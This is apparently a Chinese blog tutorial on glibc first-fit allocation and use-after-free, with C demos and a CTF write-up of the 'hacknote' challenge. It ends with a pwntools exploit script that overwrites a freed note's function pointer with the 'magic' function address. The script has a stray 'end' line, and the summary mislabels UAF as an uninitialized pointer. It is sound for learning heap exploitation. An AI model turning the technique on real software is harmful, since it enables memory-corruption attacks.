first_fit&UAF(heap)

本文深入探讨了内存管理中的first_fit算法和使用未初始化指针(Use-After-Free,UAF)的安全风险。通过实例分析了first_fit如何在chunk释放后可能引发的问题,以及在特定情况下如何被利用。同时,文章通过攻防世界的hacknote案例展示了UAF漏洞的利用过程,包括堆分配、释放和重新分配的细节,以及如何构造payload实现攻击。
摘要由CSDN通过智能技术生成

first_fit原理

堆管理器对free的chunk未完全回收,当再次调用malloc时,会分配先前已经有内容的chunk。
大致流程如下图,但需要避免一些对管理器的检测机制(在一定限制条件下)
在这里插入图片描述

实例分析原理

下面看个demo调试,验证上面情况。

#include<stdio.h>
#include<stdlib.h>
#include<string.h>


int main()
{
	char *p = (char *)malloc(10);

	strcpy(p,"hello");
	
	free(p);
	//常常未把p=null,置NULL导致被利用

	printf("%s\n",p);

	return 0;
}

malloc后返回的地址p = 0x003807b8(内容就是屯屯屯…)
在这里插入图片描述
执行strcpy后,内存空间内容被改变

在这里插入图片描述
free后
在这里插入图片描述
总结:指针P指向位置一直都没变,如果再次分配获得这块内容,就可以产生一些有趣的操作。(这是windows环境中跑的,linux环境给出下面验证代码参考)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
	fprintf(stderr, "This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.\n");
	fprintf(stderr, "glibc uses a first-fit algorithm to select a free chunk.\n");
	fprintf(stderr, "If a chunk is free and large enough, malloc will select this chunk.\n");
	fprintf(stderr, "This can be exploited in a use-after-free situation.\n");

	fprintf(stderr, "Allocating 2 buffers. They can be large, don't have to be fastbin.\n");
	char* a = malloc(0x512);
	char* b = malloc(0x256);
	char* c;

	fprintf(stderr, "1st malloc(0x512): %p\n", a);
	fprintf(stderr, "2nd malloc(0x256): %p\n", b);
	fprintf(stderr, "we could continue mallocing here...\n");
	fprintf(stderr, "now let's put a string at a that we can read later \"this is A!\"\n");
	strcpy(a, "this is A!");
	fprintf(stderr, "first allocation %p points to %s\n", a, a);

	fprintf(stderr, "Freeing the first one...\n");
	free(a);

	fprintf(stderr, "We don't need to free anything again. As long as we allocate smaller than 0x512, it will end up at %p\n", a);

	fprintf(stderr, "So, let's allocate 0x500 bytes\n");
	c = malloc(0x500);
	fprintf(stderr, "3rd malloc(0x500): %p\n", c);
	fprintf(stderr, "And put a different string here, \"this is C!\"\n");
	strcpy(c, "this is C!");
	fprintf(stderr, "3rd allocation %p points to %s\n", c, c);
	fprintf(stderr, "first allocation %p points to %s\n", a, a);
	fprintf(stderr, "If we reuse the first allocation, it now holds the data from the third allocation.\n");
}

UAF实例

例题 攻防世界的hacknote

1,拿到先正常流程走下,看看流程
在这里插入图片描述
2,拿进IDA逆向分析一波,主要是上述4个函数功能 (magic是可利用函数)
在这里插入图片描述
3,分析出add结点的结构体大致是一个指针函数和一个content
在这里插入图片描述
4,先添加两个add(0x10)看看堆区分布情况

在这里插入图片描述
观察可得申请一个add(0x10)会产生一个0x18的空间的chunk存放content,而0x10的空间放的是结构体struct自身。绿色成员便是结构体成员,指针函数所指的内容,即函数print_note_content。需要想方设法利用改变的也是此位置。

申请一个空间时内容总结:
1,存放不可改变的结构体空间;
2,存放结构体content内容的空间(利用改变指针函数内容);
在这里插入图片描述

5,释放刚add的两个结点
在这里插入图片描述
(注:重启了一次调试,所以地址不同,0x85a2000对应0x9791000)
利用0x9791000和0x9691028去伪造:
0x9691028当作结构体struct
0x9791000当content内容(first_fit关键,即第一次它本是属于结构体struct,但利用UAF,伪造成了content内容)

顺序解释:
在fastbin[0]中:尾链先分配,即0x9691028(0x85a2028)先出来。在申请add一个节点时,先结构体,再content的顺序分配。(注:这里add(大小)申请节点时,利用大小的方法不唯一,都需要去观察堆的分配情况而定,即能获取到fastbin断链中的地址)

6.再次申请add小于0x10的空间,填充content内容为magic函数地址,利用成功。
在这里插入图片描述
在这里插入图片描述

7.exp

from pwn import  *
from LibcSearcher import LibcSearcher
from sys import argv

def ret2libc(leak, func, path=''):
	if path == '':
		libc = LibcSearcher(func, leak)
		base = leak - libc.dump(func)
		system = base + libc.dump('system')
		binsh = base + libc.dump('str_bin_sh')
	else:
		libc = ELF(path)
		base = leak - libc.sym[func]
		system = base + libc.sym['system']
		binsh = base + libc.search('/bin/sh').next()

	return (system, binsh)

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

context.log_level = 'DEBUG'
binary = './hacknote'
context.binary = binary
elf = ELF(binary)
p = process('./hacknote')
#p = remote('node3.buuoj.cn',29924) if argv[1]=='r' else process(binary)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def dbg():
	gdb.attach(p)
	pause()

# start
def add(size,name='a'):
	sla(':','1')
	sla(':',str(size))
	sla(':',name)

def delete(index):
	sla(':','2')
	sla(':',str(index))

def show(index):
	sla(':','3')
	sla(':',str(index))

magic = p32(elf.sym['magic']) # 0x8048945
add(0x10) # 0
add(0x10) # 1
delete(0)
delete(1)
add(0x8,magic)
show(0)
end
itr()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值